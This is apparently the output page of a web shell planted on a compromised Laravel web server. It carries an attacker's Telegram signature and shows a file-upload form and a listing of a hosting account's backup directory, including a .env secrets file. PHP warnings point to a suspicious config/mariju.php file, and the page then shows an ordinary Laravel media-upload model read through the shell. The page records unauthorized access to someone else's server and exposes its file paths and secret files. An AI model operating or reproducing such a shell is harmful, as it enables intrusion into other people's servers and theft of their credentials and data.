telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log15252959 KBJuly 18 2025 16:57:280644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
morphTo(); } /** * Get display name for the media */ public function getDisplayNameAttribute() { $array = explode('_', $this->file_name, 3); return !empty($array[2]) ? $array[2] : $array[1]; } /** * Get display link for the media */ public function getDisplayUrlAttribute() { $path = asset('/uploads/media/' . rawurlencode($this->file_name)); return $path; } /** * Get display path for the media */ public function getDisplayPathAttribute() { $path = public_path('uploads/media') . '/' . rawurlencode($this->file_name); return $path; } public function getDescriptionLabelAttribute() { switch ($this->description) { case 'passport': return 'Passport'; case 'national-id-front': return 'National ID Front'; case 'national-id-back': return 'National ID Back'; case 'driver-license': return 'Driver\'s License'; default: return $this->description; } } public function getExtensionAttribute() { return pathinfo($this->display_url, PATHINFO_EXTENSION); } /** * Get display link for the media */ public function thumbnail($size = [60, 60], $class = null) { $html = 'display_url . '"'; $html .= ' width="' . $size[0] . '"'; $html .= ' height="' . $size[1] . '"'; if (!empty($class)) { $html .= ' class="' . $class . '"'; } $html .= '>'; return $html; } /** * Uploads files from the request and add's medias to the supplied model. * * @param int $business_id, obj $model, $obj $request, string $file_name */ public static function uploadMedia($business_id, $model, $request, $file_name, $is_single = false, $model_media_type = null) { //If app environment is demo return null if (config('app.env') == 'demo') { return null; } if ($request->hasFile($file_name)) { $files = $request->file($file_name); $uploaded_files = []; //If multiple files present if (is_array($files)) { foreach ($files as $file) { $uploaded_file = Media::uploadFile($file); if (!empty($uploaded_file)) { $uploaded_files[] = $uploaded_file; } } } else { $uploaded_file = Media::uploadFile($files); if (!empty($uploaded_file)) { $uploaded_files[] = $uploaded_file; } } //If one to one relationship upload single file if ($is_single) { $uploaded_files = $uploaded_files[0]; } // attach media to model Media::attachMediaToModel($model, $business_id, $uploaded_files, $request, $model_media_type); } } /** * Uploads requested file to storage. * */ public static function uploadFile($file) { $file_name = null; if ($file->getSize() > config('constants.document_size_limit')) { throw new \Exception($file->getClientOriginalName() . ' is too large try a different image or a screenshot of the original'); } $new_file_name = time() . '_' . mt_rand() . '_' . self::sanitizeFileName($file->getClientOriginalName()); if ($file->storeAs('/media', $new_file_name)) { $file_name = $new_file_name; } return $file_name; } private static function sanitizeFileName($file_name) { // Remove anything which isn't a word, whitespace, number // or any of the following caracters -_~,;[](). // If you don't need to handle multi-byte characters // you can use preg_replace rather than mb_ereg_replace $new_file_name = mb_ereg_replace("([^\w\s\d\-_~,;\[\]\(\).])", '', $file_name); // Remove any runs of periods $new_file_name = mb_ereg_replace("([\.]{2,})", '', $new_file_name); //Remove any whitespaces $new_file_name = preg_replace('/[[:space:]]+/', '-', $new_file_name); return $new_file_name; } /** * Deletes resource from database and storage * */ public static function deleteMedia($business_id, $media_id) { $media = Media::where('business_id', $business_id)->findOrFail($media_id); $media_path = public_path('uploads/media/' . $media->file_name); if (file_exists($media_path)) { unlink($media_path); } $media->delete(); } public function uploaded_by_user() { return $this->belongsTo(\App\User::class, 'uploaded_by'); } public static function attachMediaToModel($model, $business_id, $uploaded_files, $request = null, $model_media_type = null) { if (!empty($uploaded_files)) { if (is_array($uploaded_files)) { $media_obj = []; foreach ($uploaded_files as $value) { $media_obj[] = new \Modules\Accounting\Entities\Media([ 'file_name' => $value, 'business_id' => $business_id, 'description' => !empty($request->description) ? $request->description : null, 'uploaded_by' => !empty($request->uploaded_by) ? $request->uploaded_by : auth()->user()->id, 'model_media_type' => $model_media_type ]); } $model->media()->saveMany($media_obj); } else { //delete previous media if exists $model->media()->delete(); $media_obj = new \Modules\Accounting\Entities\Media([ 'file_name' => $uploaded_files, 'business_id' => $business_id, 'description' => !empty($request->description) ? $request->description : null, 'uploaded_by' => !empty($request->uploaded_by) ? $request->uploaded_by : auth()->user()->id, 'model_media_type' => $model_media_type ]); $model->media()->save($media_obj); } } } }